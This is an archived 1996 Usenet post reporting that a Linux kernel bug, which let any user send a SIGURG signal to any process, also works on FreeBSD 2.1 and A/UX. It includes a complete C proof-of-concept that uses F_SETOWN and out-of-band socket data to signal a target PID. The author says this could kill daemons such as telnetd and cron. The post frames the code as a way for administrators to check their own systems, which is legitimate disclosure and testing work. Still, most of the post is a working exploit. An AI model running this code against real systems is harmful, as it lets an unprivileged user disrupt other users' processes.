*BSD News Article 63867


Return to BSD News archive

Path: euryale.cc.adfa.oz.au!newshost.anu.edu.au!news.gan.net.au!act.news.telstra.net!psgrain!news.uoregon.edu!newsxfer.itd.umich.edu!newsrelay.iastate.edu!vixen.cso.uiuc.edu!howland.reston.ans.net!surfnet.nl!tuegate.tue.nl!news.win.tue.nl!il.ft.hse.nl!not-for-mail
From: robert@il.ft.hse.nl (robert)
Newsgroups: comp.security.unix,comp.unix.bsd.freebsd.misc
Subject: SIGURG'ing...not only on Linux
Date: 20 Mar 1996 17:43:13 +0100
Organization: LSD...melts in your mind, not in your hand
Lines: 89
Message-ID: <4ipcj1$gsa@charm.il.ft.hse.nl>
NNTP-Posting-Host: charm.il.ft.hse.nl
Xref: euryale.cc.adfa.oz.au comp.security.unix:22790 comp.unix.bsd.freebsd.misc:15692

A few months back, someone discovered a bug in the Linux kernel with
which it was possible to send any process (whether it was owned by the
person using the bug or not) a SIGURG signal.

So, Linux kernel got patched...and the exploit doesn't work
anymore...not on Linux, that is.

With a very small modification, I found out that atleast on FreeBSD (2.1
release)  and on A/UX (3.0.2), it's still possible to send any process
that SIGURG signal. Now it depends on the OS, and on the program itself,
whether or not this has consequences. On A/UX, I as mortal could kill
telnetd's and the cron daemon...not something you want.

If you want to determine if this bug can be exploited on your OS (I only
have access to A/UX, Linux and FreeBSD), try the attached program
(perhaps after some small compatibility changes).

                                                                robert 

/*
Copyright (C) 1995 Marek Michalkiewicz
  
This program is free software, see the GNU General Public License
for more legalese...  There is no warranty - after all, this bug
may be fixed soon :-).
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8765		/* just a random hopefully unused TCP port */

#define ERROR_CHECK(x, msg) do { \
        if ((x) == -1) { \
                perror(msg); \
                exit(1); \
        } \
} while (0)

int     main(int argc, char *argv[])
{
	int     s, s1, child_pid;
	struct sockaddr_in addr;
	int     one = 1;
	char    c = 0;

	if (argc != 2)
	{
		fprintf(stderr, "usage: %s pid\n", argv[0]);
		exit(1);
	}
	ERROR_CHECK(s = socket(AF_INET, SOCK_STREAM, 0), "socket");
	ERROR_CHECK(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one),
		    "setsockopt"
		);
	memset(&addr, 0, sizeof addr);
	addr.sin_family = AF_INET;
	addr.sin_port = htons(PORT);
	addr.sin_addr.s_addr = INADDR_ANY;
	ERROR_CHECK(bind(s, (struct sockaddr *) & addr, sizeof addr), "bind");
	ERROR_CHECK(listen(s, 1), "listen");
	ERROR_CHECK(child_pid = fork(), "fork");
	if (child_pid == 0)
	{
		int     pid_to_kill = atoi(argv[1]);

		ERROR_CHECK(s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket");
		ERROR_CHECK(connect(s1, (struct sockaddr *) & addr, sizeof addr), "child connect");
		ERROR_CHECK(fcntl(s1, F_SETOWN, pid_to_kill), "child fcntl");
/*		^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
		This is the changed line. The Linux version used an
		ioctl() 
*/
		ERROR_CHECK(write(s1, &c, 1), "child write");
		ERROR_CHECK(read(s1, &c, 1), "child read");
		_exit(0);
	}
	ERROR_CHECK(s1 = accept(s, NULL, NULL), "accept");
	ERROR_CHECK(read(s1, &c, 1), "read");
	ERROR_CHECK(send(s1, &c, 1, MSG_OOB), "send");
	return 0;
}